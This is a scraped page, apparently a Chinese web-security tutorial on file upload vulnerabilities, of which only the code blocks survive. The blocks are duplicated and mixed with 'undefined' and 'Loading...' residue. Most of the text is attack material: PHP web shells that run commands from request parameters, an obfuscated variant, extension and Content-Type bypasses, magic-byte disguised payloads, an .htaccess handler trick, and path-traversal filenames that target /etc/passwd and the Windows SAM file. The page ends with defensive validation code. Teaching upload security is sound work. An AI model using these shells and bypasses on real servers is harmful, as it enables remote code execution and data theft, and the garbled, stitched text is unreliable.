Loading...
Loading...
Compare original and translation side by side
// 可被绕过
if (!file.name.endsWith('.jpg')) {
alert('只允许上传图片');
}// 可被绕过
if (!file.name.endsWith('.jpg')) {
alert('只允许上传图片');
}// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}filename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\samfilename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\samuploads/1.jpg
uploads/2.jpguploads/1.jpg
uploads/2.jpgshell.php.jpg
shell.jpg.phpshell.PHP
shell.PhPshell.php.jpg
shell.jpg.phpshell.PHP
shell.PhPContent-Type: image/jpegContent-Type: image/jpeg
**Magic Bytes：**
```php
// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>
**Magic Bytes：**
```php
// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>shell.php.xxx # Apache可能解析为PHPshell.asp;.jpg
shell.asp:.jpgshell.jpg%00.phpshell.php.xxx # Apache可能解析为PHPshell.asp;.jpg
shell.asp:.jpgshell.jpg%00.phpundefinedundefinedundefinedundefined<?php system($_GET['cmd']); ?><?php eval($_POST['a']); ?><?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=system<?php system($_GET['cmd']); ?><?php eval($_POST['a']); ?><?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=systemAddType application/x-httpd-php .jpgAddType application/x-httpd-php .jpgGIF89a
<?php
phpinfo();
?>undefinedGIF89a
<?php
phpinfo();
?>undefinedundefinedundefinedundefinedundefinedundefinedundefinedshell.php.jpg
shell.php;.jpg
shell.php%00.jpgshell.PHP
shell.PhPshell.php.
shell.php
shell.php%20shell.php.jpg
shell.php;.jpg
shell.php%00.jpgshell.PHP
shell.PhPshell.php.
shell.php
shell.php%20Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gifContent-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif// JPEG
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>
// GIF
GIF89a<?php phpinfo(); ?>
// PNG
\x89\x50\x4E\x47<?php phpinfo(); ?>// JPEG
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>
// GIF
GIF89a<?php phpinfo(); ?>
// PNG
\x89\x50\x4E\x47<?php phpinfo(); ?><?= system($_GET['cmd']); ?><?php
$a='sys';
$b='tem';
$a.$b($_GET['cmd']);<?= system($_GET['cmd']); ?><?php
$a='sys';
$b='tem';
$a.$b($_GET['cmd']);undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'}
ext = filename.rsplit('.', 1)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError("File type not allowed")import magic
file_type = magic.from_buffer(file_content, mime=True)
if not file_type.startswith('image/'):
raise ValueError("Invalid file content")import uuid
filename = str(uuid.uuid4()) + '.' + extMAX_SIZE = 5 * 1024 * 1024 # 5MB
if file.size > MAX_SIZE:
raise ValueError("File too large")ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'}
ext = filename.rsplit('.', 1)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError("File type not allowed")import magic
file_type = magic.from_buffer(file_content, mime=True)
if not file_type.startswith('image/'):
raise ValueError("Invalid file content")import uuid
filename = str(uuid.uuid4()) + '.' + extMAX_SIZE = 5 * 1024 * 1024 # 5MB
if file.size > MAX_SIZE:
raise ValueError("File too large")